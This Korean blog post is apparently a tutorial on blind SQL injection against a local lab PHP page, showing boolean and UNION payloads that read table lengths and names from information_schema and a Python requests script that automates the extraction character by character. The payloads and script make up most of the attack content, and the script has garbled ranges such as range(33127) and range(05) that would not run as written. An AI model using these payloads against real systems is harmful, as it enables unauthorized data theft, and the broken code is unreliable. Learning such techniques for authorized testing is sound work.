DoR@Hee의 끄적끄적

Blind Sql Injection - 테이블 길이, 이름 가져오기 본문

취약점 진단/WEB

Blind Sql Injection - 테이블 길이, 이름 가져오기

DoR@Hee 2019. 3. 18. 21:47

0-0 사전준비, DB길이, DB이름 가져오기https://dorahee.tistory.com/108?category=735413




0-1 테이블 길이 가져오기


일단 DB에 존재하는 테이블을 길이 알아내기 위해서 


length((select table_name from information_schema.tables where table_schema = 'blind_db' limit 0,1)) = 1


쿼리를 입력한다 위 와 같이 쿼리가 들어갈 경우 php에서는


"SELECT * FROM sql_injection WHERE no = 1 and length((select table_name from information_schema.tables where table_schema = 'blind_db' limit 0,1))=1"; 들어가게 된다.




거짓일 경우




참일 경우




mysql에서 확인 해본 경우 limit 구문에 의해서 첫번째 테이블에 길이는 13자리

limit 구문을 이용해서 원하는 테이블에 길이를 가져올 수도 있다.







1-2 테이블 이름 가져오기


DB에 길이를 알아 냈으니 DB에 이름을 알아내도록 한다.

쿼리는 테이블 길이를 알아내는 쿼리와 거의 비슷하다.


and ascii(substr((select table_name from information_schema.tables where table_schema = 'blind_db' limit 0,1),1,1))=115


php에 쿼리가 들어가게 되면은 


"SELECT * FROM sql_injection WHERE no = 1and ascii(substr((select table_name from information_schema.tables where table_schema = 'blid_db' limit 0,1),1,1))=115



참 ascii 코드표로 115(b)인걸 확인 할 수 있다.



mysql 에서 쿼리를 확인 했을 때 값이 나오는것을 확인 할 수 있다.


1-3 union을 이용 테이블 이름 가져오기


일단 union문을 이용해서 칼럼의 갯수를 알아 낸다.


※ union문은 2개 이상의 결과값을 도출할 때 사용하는 구문이다. 근데 여기서 union문의 특징이 칼럼의 갯수가 같아야 되는데

만약 칼럼의 갯수가 다를 경우 에러를 발생한다.


참일 경우


거짓일 경우 칼럼의 갯수가 다르기 때문에 에러가 발생하는것을 알 수 있다.



mysql 에서 union문을 확인 할 경우 위와 같이 결과가 나온다.


"UNION select TABLE_NAME,1,1,1 from information_schema.tables WHERE TABLE_SCHEMA='blind_db' limit 1,1"을 

이용해서 table이름을 가져온다.



mysql에서 limit구문 없이 쿼리를 실행해보면 db에 따른 테이블이 union 구문에 의하여 출력되는것을 확인 할 수 있다.





1-4 테이블 길이 및 이름가져오기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
 
def table_name():
    for i in range(1, length + 1):
        for j in range(33127):
            result = ""
            url = "http://localhost/index_ok.php?no=1%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema%20=%20%27blind_db%27%20limit%20{0},1),{1},1))={2}".format(table_ea,i, j)
            res = requests.get(url)
            if "email: a@" in res.text:
                print("{0}".format(chr(j)), end='')
                result += str(chr(j))
                break
    print("\n")
 
for table in range(05):
    for lengths in range(130):
        length = 0
        url = "http://localhost/index_ok.php?no=1%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema%20=%20%27blind_db%27%20limit%20{0},1))%20=%20{1}".format(table, lengths)
        res = requests.get(url)
        if "email: a@" in res.text:
            print("=====================================")
            print("{0}번째 테이블 길이는{1}".format(table, lengths))
            print("=====================================\n")
            length = lengths
            table_ea = table
            table_name()
        else:
            continue
 
 
 
cs



Comments